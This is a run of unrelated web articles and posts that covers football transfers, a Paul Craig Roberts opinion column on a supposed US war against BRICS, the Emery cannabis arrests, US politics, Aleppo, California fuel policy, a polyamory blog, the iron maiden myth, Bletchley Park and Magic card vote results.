back on to home turf.Clearly the sky is the limit for this savvy sports fan — well, as long as the dome is open.Thanks to Buzzfeed for the tasty tip. -Get the biggest Sport stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Manchester United have given Jose Mourinho the green light to aggressively strengthen the English Premier League club's defence in the winter transfer window. Mourinho has prioritised the addition of a Champions League -level central defender to his squad in January. According to club sources, Manchester United executive vice-chairman Ed Woodward is prepared to allocate significant funds to the transfer fee and salary. The Portuguese manager made one addition to United's defence in his first window at Old Trafford, recruiting Eric Bailly from Villarreal for an initial €35million fee. The 22-year-old was an ever present until he damaged a collateral knee ligament in October's loss at Chelsea. (Image: Manchester United/Getty Images) Though Mourinho advised his new club to sign a second central defender and full back in the summer window, neither reinforcement was secured as Woodward and his staff failed to make space in United's squad by moving out any of a group of senior professionals deemed surplus to requirements. Forced to operate with a squad in which his most experienced defender Chris Smalling had less than 150 league appearances, Mourinho subsequently suffered a series of rearguard lapses wholly uncharacteristic of his coaching philosophy. Individual errors have cost United a number of early or decisive goals and points, keeping just seven clean sheets in 22 matches. Four of those clean sheets came with Bailly in the starting line up. Though the Cote d'Ivoire international is close to a return to first-team duty, he expects to be lost to Mourinho again in January when called up for the Africa Cup of Nations in Gabon. (Image: Getty Images) Should the 2015 winners reach the knock-out rounds, Bailly will be absent until February. United's decision to invest in their defence is a demonstration of the board's faith in their new manager amidst hysterical external criticism of Mourinho's results and behaviour. While a series of home draws has left United eleven points behind leaders Chelsea, Mourinho's characteristic - and unfashionable - refusal to 'dump' participation in either the League Cup and Europa League last night left him as the only Premier League manager still competing for silverware on four fronts. United won the Community Shield in August, and on Wednesday defeated West Ham United 4-1 to secure a League Cup semi-final tie with Hull City. Mourinho won the competition three times in his six attempts as Chelsea manager, and is yet to lose a League Cup tie in normal time. -World War III Has Begun By Paul Craig Roberts April 25, 2016 " Information Clearing House " - The Third World War is currently being fought. How long before it moves into its hot stage? Washington is currently conducting economic and propaganda warfare against four members of the five bloc group of countries known as BRICS—Brazil, Russia, India, China, and South Africa. Brazil and South Africa are being destabilized with fabricated political scandals. Both countries are rife with Washington-financed politicians and Non-Governmental Organizations (NGOs). Washington concocts a scandal, sends its political agents into action demanding action against the government and its NGOs into the streets in protests. Washington tried this against China with the orchestrated Hong Kong “student protest.” Washington hoped that the protest would spread into China, but the scheme failed. Washington tried this against Russia with the orchestrated protests against Putin’s reelection and failed again. To destablilze Russia, Washington needs a firmer hold inside Russia. In order to gain a firmer hold, Washington worked with the New York mega-banks and the Saudis to drive down the oil price from over $100 per barrel to $30. This has put pressure on Russian finances and the ruble. In response to Russia’s budgetary needs, Washington’s allies inside Russia are pushing President Putin to privatize important Russian economic sectors in order to raise foreign capital to cover the budget deficit and support the ruble. If Putin gives in, important Russian assets will move from Russian control to Washington’s control. In my opinion, those who are pushing privatization are either traitors or completely stupid. Whichever it is, they are a danger to Russia’s independence. Eric Draitser provides some details of Washington’s assault on Russia: http://www.mintpressnews.com/brics-attack-western-banks-governments-launch-full-spectrum-assault-russia-part/215761/ of Washington’s attack on South Africa: http://www.mintpressnews.com/brics-attack-empires-destabilizing-hand-reaches-south-africa/215126/ and of Washington’s attack on Brazil: http://www.mintpressnews.com/brics-attack-empire-strikes-back-brazil/214943/ For my column on Washington’s attack on Latin American independence, see: http://www.paulcraigroberts.org/2016/04/22/washington-launches-its-attack-against-brics-paul-craig-roberts/ As I have often pointed out, the neoconservatives have been driven insane by their arrogance and hubris. In their pursuit of American hegemony over the world, they have cast aside all caution in their determination to destabilize Russia and China. By implementing neoliberal economic policies urged on them by their economists trained in the Western neoliberal tradition, the Russian and Chinese governments are setting themselves up for Washington. By swallowing the “globalism” line, using the US dollar, participating in the Western payments system, opening themselves to destabilization by foreign capital inflows and outflows, hosting American banks, and permitting foreign ownership, the Russian and Chinese governments have made themselves ripe for destabilization. If Russia and China do not disengage from the Western system and exile their neoliberal economists, they will have to go to war in order to defend their sovereignty. Dr. Paul Craig Roberts was Assistant Secretary of the Treasury for Economic Policy and associate editor of the Wall Street Journal. He was columnist for Business Week, Scripps Howard News Service, and Creators Syndicate. He has had many university appointments. His internet columns have attracted a worldwide following. Roberts' latest books are The Failure of Laissez Faire Capitalism and Economic Dissolution of the West , How America Was Lost , and The Neoconservative Threat to World Order . -As we race toward the fourth industrial revolution there will inevitably be tensions between public, private and individual interests. But these should be challenged, rather than shied away from, to minimize displacement, panelists at the World Economic Forum's "Summer Davos" agreed on Thursday. "The tension between the private sector and the public sector and civil society and each of us individually is a good tension to have," Lauren Woodman, chief executive of NetHope, a consortium of NGO's with a specific focus on technology, as panellists debated the responsibility of government and private business to manage technological advancements. Private business has faced criticism for the speed at which it has embraced automation, while public bodies are under growing pressure to manage this change in order to safeguard jobs. "It means that the benefits (of technology) do surface to the top," Woodman told a CNBC panel in Dalian, China. "Even the process of recognising that there is a gap, and that we have to struggle against that problem, means that we are at least beginning to bring those voices in." -Toronto police have charged Canada's so-called Prince of Pot, Marc Emery, and wife Jodie, with drug trafficking, conspiracy and possession after they were arrested at Pearson International Airport on Wednesday night. The Emerys were on their way to a pot festival in Europe when they were arrested. On Thursday, with the couple still in custody at Toronto police's 51 Division, law enforcement officers in three Canadian cities raided marijuana shops belonging to the Emerys. The couple appeared in a Toronto court on Thursday afternoon and were remanded into custody. They are expected to have a bail hearing on Friday morning. Marc Emery and his wife Jodie were charged on Thursday with drug trafficking, conspiracy and possession after they were arrested at Toronto's Pearson International Airport on Wednesday night. (Jonathan Hayward/Canadian Press) During their brief court appearance today, Jodie Emery mouthed an "I love you" to her husband while he was in the prisoner's box. She then held up her fingers in a peace sign to her supporters. Marc Emery, 59, has been charged with: Conspiracy to commit an indictable offence. Three counts of trafficking schedule II. Five counts of possession for the purpose schedule II. Five counts of possession proceeds of crime. Fail-to-comply recognizance. Jodie Emery, 32, has been charged with: Conspiracy to commit an indictable offence. Trafficking schedule II. Possession for the purpose schedule II. Two counts of possession proceeds of crime. Cannabis lawyer Jack Lloyd said supply issues are 'one of the reasons that medical cannabis dispensaries continue to exist' - because 'patients can’t rely on the government access program.' (Martin Trainor/CBC) Mark Pugash, spokesperson for the Toronto Police Service, said seven Cannabis Culture locations — five in Toronto, one in Hamilton and another in Vancouver — were searched on Thursday along with two homes in Toronto, one in Stoney Creek, Ont., and one in Vancouver. Erin Goodwin, co-owner of Cannabis Culture arrested by Toronto police on March 9. 1:04 In addition to the Emerys, police charged three other people associated with the couple on Thursday. Chris Goodwin, 37, and Erin Goodwin, 31, both of Toronto, and Britney Guerra, 29, of Stoney Creek, Ont., face charges that include conspiracy to commit an indictable offence. The Goodwins are co-owners of the Cannabis Culture shop on Church Street in Toronto. All five are due to appear in Old City Hall court in Toronto at 10 a.m. on Friday. Toronto police issued a short news release Thursday to say that 11 search warrants were executed in Toronto, the Hamilton area and Vancouver as part of Project Gator, "a Toronto Police Service project targeting marijuana dispensaries." "We have been enforcing the law, which is absolutely clear that dispensaries are illegal," Mark Pugash, director of corporate communication for Toronto police, told CBC Toronto. "We have been enforcing the law for some considerable time and this is an ongoing part of that commitment to enforcing the law." During a police raid of a Cannabis Culture shop on Church Street in Toronto, these bags and boxes were brought out the back door into an unmarked van. (Emma Kimmerly/CBC) A police officer is seen outside the Cannabis Culture location on Church Street in Toronto. (Emma Kimmerly/CBC) Pugash would not discuss why Cannabis Culture, which sells recreational marijuana, was the target of the operation in a city with dozens of marijuana shops. Vancouver police confirmed that they raided the Emerys' Cannabis Culture location on West Hastings at 8 a.m. local time at the request of Toronto police. The Ottawa location of Cannabis Culture was also raided Thursday, but Toronto police told CBC Ottawa that the raid was not part of Project Gator. Ottawa police declined to release information about their operation. Marc Emery co-owns the Cannabis Culture chain with his wife Jodie, right. The couple was arrested Wednesday night as they were headed to a marijuana festival in Spain. They were charged on Thursday. (Paul Chiasson/Canadian Press) Emery and his wife run about a dozen marijuana shops in Canada under the Cannabis Culture banner. Marc Emery was released from a U.S. prison in 2014 after spending just over four years behind bars on charges of selling marijuana seeds in the United States. A Facebook post by Marc Emery shortly after 7 p.m. Wednesday said he and his wife were headed to Spain for Spannabis, a marijuana festival. Toronto police have been cracking down on the city's illegal dispensaries for several months. There has been a spate of robberies of dispensaries across the city, some where shots were fired. The turmoil has occurred as the federal government continues to mull changes to Canada's marijuana laws. #BREAKING @461ChurchStreet is being Raided by Toronto Police pic.twitter.com/03ebE6ieh3 —@CannabisCulture Federal Health Minister Jane Philpott said Thursday that the federal government remains committed to introducing legislation on the matter in the spring but noted that it would have to go through a rigorous parliamentary and regulatory process. "It's a firm commitment of our government to legalize access to cannabis, to regulate that access and to restrict it appropriately," she said. "We want to make sure this is done properly and people need to recognize it will take some time but it will be done." -Notes by former FBI director James B. Comey show President Trump wanted the probe into former national security adviser Michael Flynn dropped. (The Washington Post) The one-word headline blared in all-caps: SABOTAGE. The urgent missive hit inboxes of President Trump's supporters (and reporters) just minutes after a second damaging story in 24 hours was published, this one alleging that fired FBI Director James B. Comey wrote memos saying that Trump asked him to drop the FBI investigation into Trump's former national security adviser Michael Flynn. Just a day earlier, the White House sought to push back on a report in The Washington Post that Trump revealed classified information to the Russians in an Oval Office meeting last week. The Republican Party and Trump's reelection committee were fundraising off Trump's very challenging news cycle. The body of the email doesn't get specific, so it wasn't clear whether the email referred to the Comey story or the story about classified intelligence. But the letter seems to imply that the reports aren't just "fake news," they are real efforts by people within the government to undermine Trump. "You already knew the media was out to get us," the email begins. "But sadly it’s not just the fake news … "There are people within our own unelected bureaucracy that want to sabotage President Trump and our entire America First movement," it continued. The letter went on to quote Trump's chief strategist and proponent of deconstructing the "administrative state," Stephen K. Bannon. “If you think they’re going to give you your country back without a fight, you’re sadly mistaken. Every day is going to be a fight," Bannon had said earlier this year. "That is the promise of Donald Trump.” To fight back, supporters were asked to donate $1 to "Drain the Swamp." It is unclear when the email was created and sent (fundraising emails are often scheduled to be sent well in advance). But the reference to "cleaning house" is a curious line given that the subject of the hour is the circumstances under which Trump fired Comey. "They don’t want it to be America First," the email continues. "They want it to be Special Interests first to enrich themselves all while the citizens of our country remain an afterthought. "We have no choice but to completely DRAIN THE SWAMP. President Trump has already started cleaning house, but every day will be an uphill battle — and we need to be prepared to go into the trenches to FIGHT BACK," the email read. -CLOSE Foreign affairs reporter Oren Dorell explains who is fighting whom in the Syrian Civil War in two minutes. USA TODAY Pope Francis waves to the faithful as he leaves at the end of his weekly general audience, in St. Peter's Square, at the Vatican, Wednesday, Sept. 28, 2016. (Photo11: Andrew Medichini, AP) Secretary of State John Kerry on Wednesday warned that the United States would stop talking to Moscow about ending Syria's civil war unless it ends the onslaught in the city of Aleppo by Russian and Syrian government forces. Kerry's warning came as Pope Francis assailed the assault on civilians in what was Syria's largest city, saying the perpetrators will be held “accountable to God” for their actions. Over the past week in Aleppo, Russian and Syrian war planes have unleashed the worst aerial bombardment in the 5-year-old war. More than 200 people have been killed, according to human rights groups. Kerry, in a phone call Wednesday with Russian Foreign Minister Sergey Lavrov, repeated his demand that Russia press Syria's government to stop attacking opposition forces and civilians. He also warned that the U.S. "is making preparations to suspend U.S.-Russia bilateral engagement on Syria" unless that happens, State Department spokesman John Kirby said in a statement. That means the U.S. will not participate with Russia in intelligence sharing and targeting of Islamic State and other terrorists, as planned under a cease-fire negotiated between the U.S. and Russia, and it could mean an end to negotiations in Geneva about finding a peaceful end to the conflict, Kirby told reporters at the State Department. Kerry has been calling for an end to the attacks since they began Sept. 19, causing a week-old cease-fire negotiated between the U.S. and Russia to collapse. The consequences for Russia's continued attacks on civilians in Aleppo could extend beyond the suspension of diplomacy with the United States, Kirby said. "They’ll end up being — more deeply involved in this, and the war won’t stop," Kirby said. "Opposition groups are certainly not going to pull back, extremist groups are likely going to expand and take advantage of the chaos…. And more Russian resources will be expended, more Russian lives will be lost, more Russian aircraft will be shot down." Kerry "made clear" the United States holds Russia responsible for the carnage, especially for using incendiary and bunker-buster bombs in an urban environment, which Kirby called "a drastic escalation that puts civilians at great risk." The deteriorating situation has been exacerbated by continued‎ Russian and Syrian government attacks on hospitals, the water supply and other civilian infrastructure in Aleppo, he said. Lavrov countered that a number of anti-government groups described by Washington as “moderates” refused to follow the cease-fire and chose to side with al-Qaeda's Syrian affiliate, the Nusra Front, according to Russian state-owned broadcaster RT. The pope, speaking in St. Peter’s Square on Wednesday, said: “In expressing my deep sorrow and lively concern for what is happening in that already battered city — where children, the elderly, the sick, young and old, all are dying — I renew my appeal to everyone to commit themselves with all their strength to the protection of civilians as an imperative and urgent obligation.” More than 250,000 civilians are thought to be trapped inside rebel-held parts of Aleppo, which had a pre-war population of more than 2 million. Syrian government forces carried out the biggest ground assault yet in their new offensive Tuesday, Reuters reported. Airstrikes hit a hospital in a rebel-held area early Wednesday, according to Al Jazeera. Read or Share this story: http://usat.ly/2dCoGxQ -San Ramon-based Chevron is leading an aggressive campaign to delay implementation of California’s Low Carbon Fuel Standard, a cornerstone of the state’s efforts to reduce greenhouse gas emissions. The fuel standard requires the oil industry to gradually reduce the “carbon intensity” of transportation fuels like diesel and gasoline by at least 10 percent by 2020. Chevron and its allies, including the Western States Petroleum Association, are trying to undermine the standard by rallying opposition, financing critical studies and lobbying the Democratic-controlled Legislature, state agencies and Gov. Jerry Brown. The political pushback comes as compliance regulations ratchet up and climate change has re-emerged as a top priority for both Brown and President Barack Obama. California’s attempts to rein in greenhouse gases are widely seen as a possible playbook for regulatory action at the regional or national level. Chevron and the Western States Petroleum Association argue that the 2020 timeline can’t be met without severe economic impacts, including a huge spike in gasoline prices. “California’s Low Carbon Fuel Standard establishes an unworkable program that will not meet its goals,” Chevron spokesman Brent Tippen said in an interview. “The Air Resources Board should undertake an immediate and accelerated review of the program and make fundamental changes to its design and the timing of its implementation.” Critics of the fuel standard stress that alternative, low-carbon biofuels, particularly cellulosic ethanol made from materials like wood or grasses, are not being produced in high enough volumes to significantly offset the use of traditional fuels. “Cellulosic ethanol was supposed to be the silver bullet,” said Catherine Reheis-Boyd, president of the petroleum association. “Everyone thought we’d have large volumes at commercial scales, and that has not happened and will not happen in this time frame. It’s time for all of us to revisit this.” But clean air advocates, environmentalists, utilities and the auto industry remain strong supporters of the fuel standard, and say it’s time for the oil industry to step up and do its part. They note that utilities such as PG&E are well on their way to meeting a state mandate to purchase 33 percent of their electricity from renewable sources by 2020, while automakers have invested billions to meet tough new fuel efficiency requirements and produce electric cars. “The oil industry is not doing its fair share,” said Simon Mui, a scientist with the Natural Resources Defense Council. “They can invest in cleaner fuels, but instead they are fighting this policy tooth and nail.” The Low Carbon Fuel Standard was enacted in 2007 as part of AB32, the landmark global warming bill championed by then-Gov. Arnold Schwarzenegger. It’s now being challenged not only by the oil industry but also several corn-based ethanol producers from the Midwest, who argued in federal court that California’s regulations violate the Commerce Clause of the U.S. Constitution and are shutting them out of the market because of the way various fuels are rated. That lawsuit is currently under review by the 9th U.S. Circuit Court of Appeals; a decision could come any day. Under the standard, fuels — from gasoline to ethanol made from corn, sugar or cellulosic materials — are given carbon intensity “scores” by state regulators. Carbon intensity is measured by the entire life cycle of the fuel — from the well to the wheel — taking into account greenhouse gas emissions from extracting and refining to transporting the fuels to local gas stations. The main aim of the fuel standard is to push the oil industry to invest in new technology and cleaner fuels like electricity, biofuels, hydrogen and natural gas. Some critics, including Assemblyman Mike Gatto, D-Los Angeles, warn that the fuel standard could negatively impact food prices and land use as more farmland is used to grow crops for ethanol. However, Dan Sperling, a founding director of the Institute of Transportation Studies at UC Davis who serves on the Air Resources Board, says transportation accounts for 40 percent of greenhouse gas emissions in California and therefore must be addressed. “If we are going to have a reduction in greenhouse gases from transportation, something has to be done with the fuels,” he said. Last year, the petroleum association hired the Boston Consulting Group to conduct a study of the new standard that concluded it and other clean fuel regulations could force the closure of up to half of California’s 14 refineries, throw thousands out of work and cause a spike in gas prices — strong arguments in a state with 9.8 percent unemployment. “The BCG study predicts that gasoline prices could increase by up to $2.50 per gallon, bringing California’s per-gallon price into the $6 range,” said Bill Day, a spokesman for Valero, which has a refinery in Benicia. “That’s about the last thing that the state’s still-weak economy needs.” Others dismissed the analysis as industry-funded and flawed. “The analysis cherry-picks its assumptions to build a one-sided case showing a dismal economic future for oil refiners,” said Susan Frank of the California Business Alliance for a Green Economy. Chevron is marshaling its attack, in part, through Fueling California, a nonprofit organization it founded in 2008, shortly after the new standard was adopted. The group represents corporate fuel consumers such as Wal-Mart and UPS, and says it provides a “new and united voice on behalf of major fuel consumers.” Fueling California is a 501(c) 4 organization, which means it can lobby state agencies and legislators but is not required to disclose its donors. A spokeswoman confirmed that “the majority of our funding comes from Chevron.” Lobbying records with the Secretary of State’s Office show that Fueling California spent $282,620 in the 2011-12 legislative session lobbying the governor’s office, lawmakers, the air board and other state agencies, largely on the Low Carbon Fuel Standard. Last week, Fueling California held an invitation-only “technical workshop” for roughly 50 people at a hotel in Burbank. The daylong event, which was closed to the media, was attended by representatives from oil companies and the natural gas and biofuels industry. Assemblywoman Susan Bonilla, D-Concord, who has four refineries in her East Bay district, gave closing remarks. “It was a very technical discussion, and people disagreed with each other,” Bonilla said. “The consensus forming is that there are problems with the implementation timeline.” Contact Dana Hull at 408-920-2706. Follow her at Twitter.com/danahull. -Dear Listeners, Sadly, I must inform you about longtime KUOW host Steve Scher’s decision to resign, effective Friday, June 6. After nearly three decades with KUOW Public Radio in Seattle, Steve has decided to pursue other opportunities. He built an impressive career as a host and reporter for several of KUOW's signature local programs. We thank him for his dedication to the station’s mission and to our audience. In communications with me, Steve wished to express the following to the KUOW community: "Thank you to my colleagues for their dedication to quality journalism and for the pleasure of their company. Thank you listeners for all you taught me. I am sure we will talk again." Later he added this statement on social media: “I know this change seemed abrupt, but it was something I had been thinking about a long time. I did a lot of writing during my sabbatical last year. It is something I have to get back to and complete. I turned 60 this year. I couldn't let another year pass without at least giving an honest attempt at the writer's life. After that, there are lots of opportunities in this changing media landscape. I look forward to the exploration. Thank you for sharing your thoughts and for listening all these years. New horizons beckon for me. I hope you will friend me on Facebook at 'Steven Scher.' Or @sscher on Twitter. There is still a lot to talk about. To the future!” Please join me in wishing Steve the very best in his future endeavors; he will be missed. Sincerely, Caryn G. Mathes General Manager, KUOW Please send any listener feedback to programming@kuow.org. Media inquiries: Timie Ann Dolan, Producer, Communications & Events, 206.221.2750; timie@kuow.org -JERUSALEM—Foreign Affairs Minister John Baird kicked off his first full day in Israel by attending the opening of a new Holocaust education facility in Jerusalem. Baird says the new seminars wing of the International School for Holocaust Education at Yad Vashem will play a key role in ensuring humanity doesn’t forget the lessons of genocide. Canadian Foreign Minister, John Baird, lays a wreath at the Hall of Remembrance at the Yad Vashem Holocaust memorial, in Jerusalem, Monday, Jan. 30. ( Sebastian Scheiner / AP ) And he says Israel has no better friend in the world than Canada. Baird and Finance Minister Jim Flaherty will spend the next several days visiting Israel and the Palestinian territories. The campus holds seminars each year for educators from 55 countries around the world and Israel, and develops country-specific and custom-made tools for different age groups in more than 20 languages. Article Continued Below Jewish philanthropist Joseph Gottdenker, himself a Holocaust survivor, says Yad Vashem gives a voice and a name to each person who perished, “and restores to them the dignity of living history.” “Holocaust education enables us to remember the lessons of the past and provides guidance to a more tolerant, hopeful and brighter future,” Gottdenker said. In 2011, the school hosted 67 seminars for educators and lay leaders around the world, twice the numbers held in recent years. Baird, a black skull cap perched on his head, emphasized the importance of Yad Vashem and its new 4,100-square-metre facility in documenting and teaching the lessons of the Holocaust. “There is no better friend to Israel than Canada,”Baird said. “We shall always be there for you, and in front of you.” Read more about: -By Micah Schneider In the last few days, I’ve been thinking about something repeatedly. It isn’t too surprising, as the last few months have been really busy for my family. We welcomed the birth of our first child in early April, and naturally, he takes up a lot of our time and energy. His arrival has caused the four of us to re-examine how we prioritize our lives, and each other. It really started back in March. We did a talk/presentation/Q&A session about polyamory for a conference on queer sexuality at Hampshire College in Amherst, Massachusetts. We talked about our family, how we came together, how our dynamics work, did a little bit of polyamory 101 and answered questions. Some folks in the audience expressed disbelief. We made it sound too easy. The way we’ve been living lately reminds me of that. It does feel easy, and if I were reading about it on some website, I wouldn’t believe it, either. But it only feels that way because we laid the groundwork years ago. Being poly isn’t easy. We’re constantly checking in with each other, talking about our lives, our goals, our fears, all that relationship stuff. Our family didn’t happen automagically, although someone just meeting us now wouldn’t really know that. We made a conscious choice to prioritize each other, and that, more than anything else, is the secret to our success as a poly family. Communication is easier if you know that every one of your partners will make the time to talk to you if you need them. Dividing up labor is simpler if you know your partners will do things for you simply because you asked. They might even do it specifically how you want it done if you ask nicely enough, or explain why it matters. Knowing that you are a priority makes it much easier to reciprocate in kind. Because we made each other our priorities, we’ve found a way to work through every issue that’s come up, large or small. When one of us had an outside partner that wasn’t good for any of us, we fought long and hard over it. But because we knew that our priority was the family, we had the courage to work through some very scary stuff. Being able to remember, in the heat of an argument, that yes, my partner really does make me a priority, even though you may not be able to see it just then, is an enormous comfort. I was recently reading a thread on Fetlife that touches on this subject. Someone wondered if the “third” in a triad (meaning, the new partner added to an existing couple) is ever really a “primary”, on equal footing with the original two. It’s a common problem in poly relationship dynamics. At the first sign of trouble, the original couple “steps back” to work on their relationship, often leaving the third partner on the outside looking in. To me, this looks like a question of priorities. Each member has to feel like they are on equal footing, that their needs, desires and concerns are equally important, valid and supported. And like most advice for polys, it applies equally to everyone. Can you imagine a dyad surviving very long if the needs and desires of one person in the relationship were always assumed to be more important than that of the other? I’m not talking about a power exchange relationship here, so don’t jump to conclusions. There is a major difference between assumptions and a negotiated relationship. But even in TPEs, what sub or bottom is going to stick around if their needs aren’t being met, too, or they feel that they aren’t important, or don’t matter? Making your partners a priority is not a magic bullet. If relationships were that easy, an entire segment of the book industry wouldn’t exist, and tons of therapists would be out of work. But if you make your partners, however many you’ve got, feel like they are important, that their needs matter, and that they are your priority, you’ll building your relationship on a strong foundation. -The iron maiden was a horrible medieval torture device, a casket with spikes on the inside which could be closed slowly, impaling the living person inside. It was awful. It was also not real. It was a fake concept popularized by two men in the 19th century, an era not known for impaling people to death. Advertisement One was Matthew Peacock, a man who spent the 1800s collected paintings and torture devices. He wanted to prove how very much better the then-modern era was than the past. (It's tough to say why he tried so hard to prove it. Not too many people were arguing with him.) The iron maiden, which he pieced together from pieces of memorabilia, was meant to "show the dark spirit of the Middle Ages in contrast to the progress of humanity." He gifted it to a museum, where it has been delighting and horrifying people ever since who believe it was used to torture people in the Middle Ages, even though it wasn't. Peacock wasn't entirely to blame. By the late 1800s, the idea of the iron maiden was firmly cemented in the mind of the public, due to tales from one man. Johann Siebenkees was a philosopher and archaeologist, and in 1793, he decided to perpetrate a little hoax. He wrote about a coin forger in the 1500s who suffered a terrible fate — being enclosed in a casket full of spikes that slowly impaled him. How cruel people were in the past! People took him literally. Even he may not have come up with the idea on his own. It's worth noting that in many of the older fairytales, it was a common fate of evil stepmothers to be sealed up in a cask which had nails driven into it. The cask was rolled down a hill into a lake. All Siebenkees did was take away the water. Advertisement Via Museum Castle Kyburg, The Iron Maiden of Kyburg, An Iron Maiden] -Now that we've formally rang in summer with a bang on July 4, all of our favorite warm-weather menu items are finally coming back. You know, like s'mores donuts, cotton candy Blizzards, and tropical pancakes. And now McDonald's is bringing back its most coveted summertime offering: the $9 lobster roll. The authentic New England-style lobster roll, which made its official buttery comeback in 2015, has returned once again to locations throughout the Northeast. Made with North Atlantic lobster (sourced from wild lobster fisherman at East Coast wharfs), mixed with mayonnaise and layered with shredded lettuce on a toasted roll, the sandwich is somehow only going for $8.99 — a steal compared to most restaurants' prices, which peg a lobster roll at anywhere from $15 to $20. Unfortunately, you can only find the surprisingly well priced sandwich at McD's outposts in Maine, New Hampshire, Vermont, Rhode Island, Massachusetts (except locations near the Albany border), Connecticut (except Fairfield County) now through mid-August. Better get road trippin' Follow Delish on Instagram. -× Manufacturing facility to expand, create 210 jobs in McNairy County SELMER, Tenn. — A local manufacturing facility will soon be expanding, creating new jobs and investing millions of dollars in McNairy County. Monogram Refrigeration, LLC announced its plans on Monday along with Tennessee Governor Bill Haslam and the Department of Economic and Community Development. The company’s Selmer location currently makes refrigerators, freezers and similar products. Now it wants to add an additional 120,000 square feet to the building to house the assembly of a new line of refrigerators and freezers as well as the new packaged terminal air conditioners. Overall, the company is expected to invest $9.3 million and create 210 new jobs. Monograms Refrigeration Operation’s Vice President Raymond Deming said the jobs will range from production associates to skilled trade and professional employees. The new products will begin being produced later this year. -The relationship between The Bletchley Park Trust (BPT) and The National Museum of Computing (TNMOC) both based at Bletchley Park has been in the press recently. A piece published by the BBC in January this year Bletchley Park’s bitter dispute over its future showed a Bletchley Park volunteer crying after being sacked by the current CEO of Bletchley Park Iain Standen. There was a public outcry after the BBC report was shown on the news, with people complaining about the way that volunteers are being treated and asking what is going on. Lots of people have asked me to comment since the report. I first got involved with Bletchley Park in 2003 and started a campaign to save it in 2008 when I found out that they were having financial difficulties. I’m currently writing a book Saving Bletchley Park about the campaign, the people involved, what we did, what worked and what didn’t. During the time that I was campaigning to save Bletchley Park and now during writing of my book I have spoken to quite a few people that have been involved with Bletchley over the years. It has all been very interesting. One of the things that has disturbed and dismayed me from the start has been the fact that despite seeming to want, at a high level, the same thing, the two trusts BPT and TNMOC have never seemed to be able to work well together. I have never quite understood this. Practically everyone that I have ever spoken to, involved in either trust, has been a good person who obviously wants the right thing to happen. They have all seemed to have the long term interest of Bletchley Park’s future in mind and to want the best for the whole site. Why then are we in the situation we find ourselves in today where the two trusts seem to be at loggerheads? I’ve stressed about this for years, I’ve tried talking to people on both sides, almost all of whom I respect. I was invited to join BPT in 2012 by Sir John Scarlett and became a trustee for 18 months. My main goal in becoming a trustee was to try to ensure Bletchley Park as a whole’s future success, with a fundamental part of that being trying to help both trusts work together with a view to at some point becoming a single trust. I sought to get BPT to agree to ask TNMOC to go to external mediation together to get them talking to each other and working on a way of moving forward together. Unfortunately I was not able to persuade the board to take that route. When it became apparent to me late last year that I could not achieve my goal, I resigned. I had failed. I failed to make happen what I still think is a critical factor in the future success of Bletchley Park as a whole. If the two trusts cannot work together, the future success of Bletchley Park as a fundamental, international heritage site is under threat. I believe that mediation and getting both trusts talking to each other is the best way forward in ensuring a safe and successful future for Bletchley Park. I may not have been able to make that happen, but I think that there will be someone who will be able to. I’ve spent the last couple of months trying to work who that might be. Who would be the person, or organisation that would be able to strongly “encourage” this solution to happen? It has often occurred to me that maybe it would have helped to have more women involved at a high level. BPT and TNMOC are not exclusively male, but they are mainly male. Would having a few more women involved to encourage communication and collaboration rather than competition been a good idea? I think so. Having a gender balance can make a difference in these types of situations. It would have to be someone that both trusts will listen to and work with. My first thought was Baroness Trumpington. She worked at Bletchley Park during the war, is formidable and reasonable, along with a great sense of humour. Other ideas have been Ed Vaizey at DCMS and the Heritage Lottery Fund who are currently funding BPT. I have discussed this with several friends who also care deeply about Bletchley Park and have deep knowledge of the situation. Brian Randell from University of Newcastle who has done so much for Bletchley Park and TNMOC over the years, Bill Thompson from the BBC and Lucian Hudson, Head of Communications at the Open University. We all agree that the two trusts must work together and that mediation is key to making that happen (please correct me if I am wrong gentlemen and I will amend this). In an interview with The Guardian yesterday I said that I thought mediation, getting the two trusts around a table talking together absolutely what is needed, and that I believe it will happen. We need to get them both discussing their issues with an external, objective mediator, only then can we move this situation forward. One of the problems is that everything is not on the table, no real time, full and frank discussions around all of the issues that exist have happened (to my knowledge). Like any situation where there is a breakdown in a relationship, a chain of reactions going from one side to the other is not useful. We need the equivalent of Relate, relationship counselling, but for organisations rather than individuals. Does that exist? I thought of ACAS but they unfortunately are not appropriate. I believe that the fact that this dispute is now in the public eye is a good thing. It has opened up to the public a situation that has festered long enough. The UK public and many people around the world absolutely LOVE Bletchley Park. It is an awesome place. The place where more than 10,000 people, mainly young women, worked to save *millions* of lives during World War 2. The birthplace of computer science, the place where Alan Turing and others like him worked tirelessly for us. So that we and millions of others around the world like us could live in peace. We owe it to these people, and to the site itself, to now help these two organisations work together. To make Bletchley Park the successful, international heritage site that we can all be proud of. We CAN do that. It MUST happen. The infighting has gone on long enough. Now is the time for BPT and TNMOC to work together. Let’s help them to do that by not taking sides, but by encouraging them to work together and by supporting them both. They need our help. Let’s give it to them. Lest we forget. I welcome your comments and suggestions. -991 Bracketeers voted in Batch 56, and 3.24m votes have been cast so far. The results are: Mind over Matter defeats Standing Stones with 92.29% of the vote Borderland Marauder defeats Darkpact with 66.16% of the vote Servo Exhibition defeats Tainted Monkey with 57.23% of the vote Bringer of the Blue Dawn defeats Drooling Ogre with 86.17% of the vote Master Transmuter defeats Astral Steel with 92.17% of the vote Harvest Gwyllion defeats Bloodfire Dwarf with 63.02% of the vote Archetype of Courage defeats Rhox Bodyguard with 84.83% of the vote Temporal Cascade defeats Sparkcaster with 62.20% of the vote Liege of the Axe defeats Ruham Djinn with 71.09% of the vote Fulminator Mage defeats Mistform Sliver with 86.71% of the vote Presence of the Master defeats Tormented Soul with 53.98% of the vote Raging Kavu defeats Skygames with 80.14% of the vote Second Thoughts defeats Ironroot Treefolk with 63.20% of the vote Firestorm defeats Leaf Dancer with 84.22% of the vote Teferi, Mage of Zhalfir defeats Thallid Devourer with 93.71% of the vote Expedition Map defeats Caller of the Pack with 83.18% of the vote Brine Elemental defeats Lightning Dart with 78.15% of the vote Grim Flowering defeats Pit Keeper with 51.47% of the vote Chronozoa defeats Wandering Fumarole with 54.01% of the vote Magus of the Library defeats Djinn Illuminatus with 64.61% of the vote Enter the Dungeon defeats Farewell to Arms with 76.09% of the vote Kozilek’s Return defeats Meletis Charlatan with 76.18% of the vote Eladamri’s Call defeats Root Out with 86.20% of the vote Krovikan Rot defeats Kavu Glider with 67.65% of the vote Stunt Double defeats Copper-Leaf Angel with 81.72% of the vote Cankerous Thirst defeats Blood Lust with 60.86% 